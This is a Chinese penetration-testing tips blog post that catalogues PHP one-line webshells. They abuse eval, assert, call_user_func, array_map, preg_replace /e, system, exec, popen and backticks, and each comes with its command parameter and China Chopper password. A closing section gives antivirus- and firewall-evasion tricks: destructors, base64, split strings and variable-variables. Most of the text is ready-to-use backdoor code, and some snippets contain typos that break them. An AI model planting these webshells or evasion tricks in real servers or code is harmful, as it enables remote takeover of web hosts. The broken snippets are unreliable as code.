渗透小tips(二)


php命令执行函数

代码执行函数:

  • eval()

    <?php @eval($_POST['cmd']);?> 	

    命令执行:cmd=system(whoami);菜刀连接密码:cmd

    屏蔽掉出错信息,有@时就算连接出错,也不会报错的

    原因是防止别人根据错误提示信息来推测出你的数据库结构进行注入攻击一类的黑客行为

  • assert()

    <?php @assert($_POST['cmd'])?>

    命令执行:cmd=system(whoami);菜刀连接密码:cmd

    assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾(特别注意),有时加上分号不会显示结果。

  • call_user_func()

    <?php call_user_func("assert",$_POST['cmd']); ?>
    
    //else
    
    <?php
    call_user_func($_POST["fun"],$_POST["para"])
    ?>

    命令执行:cmd=system(whoami)

    命令执行:fun=assert&para=system(whoami)

    传入的参数作为assert函数的参数

  • create_function()

    <?php $func =create_function('',$_POST['cmd']);$func(); ?>

    命令执行:cmd=system(whoami)

    创建匿名函数执行代码

    执行命令和上传文件参考eval函数(必须加分号)。

  • array_map()

    <?php
        $func=$_GET['func'];
        $cmd=$_POST['cmd'];
        $array[0]=$cmd;
        $new_array=array_map($func,$array);
        echo $new_array;
    ?>

    命令执行:http://www.xxx//haha.php?func=system POST传入:cmd=whoami 不加分号

    菜刀连接:http://www.xxx//haha.php?func=assert , 密码 cmd

    array_map() 函数

    将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

    回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

  • call_user_func_array()

    <?php
        $cmd=$_POST['cmd'];
        $array[0]=$cmd;
        call_user_func_array("assert",$array);
    ?>

    将传入的参数作为数组的第一个值传递给assert函数

    命令执行:http://www.xxx//haha.php?func=system POST传入:cmd=whoami 不加分号

    菜刀连接:http://www.xxx//haha.php?func=assert , 密码 cmd

  • array_filter()

    <?php
        $cmd=$_POST['cmd'];
        $array1=array($cmd);
        $func =$_GET['func'];
        array_filter($array1,$func);
    ?>

    同上

    用回调函数过滤数组中的元素:array_filter(数组,函数)

  • preg_replace()

    <?php
        preg_replace("/test/e",$_POST["cmd"],"jutst test");
    ?>

    这里可以使用chr()函数转换ASCII编码来执行代码。

    preg_replace(‘正则规则’,’替换字符’,’目标字符’)

    执行命令和上传文件参考assert函数(不需要加分号)。

    将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。

命令执行函数:

  • system()

    <?php system($_POST["cmd"]);?>

    命令执行:cmd=system(whoami)

    执行外部应用程序

    将字符串作为OS命令执行,自带输出功能

  • passthru()

    <?php passthru($_POST["cmd"]);?>

    同上

    将字符串作为OS命令执行,不需要输出执行结果,且输出全部的内容。

  • exec()

    <?php echo exec($_POST["cmd"]);?> 
    
    <?php print exec($_POST["cmd"]);?>    //他的输出结果需要打印,system()不用打印

    同上

    将字符串作为OS命令执行,需要输出执行结果,且它只会输出最后一行的内容。

  • popen()/proc_open()

    <?php
    	$cmd = $_POST['cmd'].">> haha.txt";
    	//此时的$cmd=ipconfig >> haha.txt
    	popen("$cmd",'r'); //实际上就是 popen("ipconfig >> haha.txt", "r"),把执行结果放入haha.txt文件,通过访问haha.txt文件查看执行结果。
    ?>

    该函数也可以将字符串当作OS命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函数有两个参数。

  • 反引号 ``

    <?php echo `whoami`?>
    
    //else
    
    <?php $cmd = $_GET['cmd'];print `$cmd`; ?>

    同上

关于免杀

  • 用$_REQUEST代替$_POST

  • 采用析构函数,在类销毁时,自动执行

    class me
    {
    	public $a=" ";
    	function_destruct()
    	{
    		assert("$this->a");
    	}
    }
    $b = new me;
    $b->a = $_POST['a'];
  • base64 加密

  • 将assert拆解为6个字母,赋值给两个变量,,字符串拼结

  • 使用两个$符,使防火墙无法判断,然后打开文件,传入POST参数,就可执行

<?php
	if(isset($_POST['file']))
	{
		$d = 'data';
		$$d = $_POST['text'];   //变成了$data
		$f = 'fp';
		$$f = fopen($_POST['file],'wb);   //$fp
		echo fwrite($fp,$data)?'save success':'save fail';
		fclose(fp);
	}
?>
  • 使用正则表达式

    <?php
    functuion fun()
    {
    	return $_POST['a'];
    }
    @preg_replace("/haha/e",fun(),"haha");
    ?>

    把后面出现的haha替换当作php执行


文章作者: 小小星仔
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 小小星仔 !
评论
  目录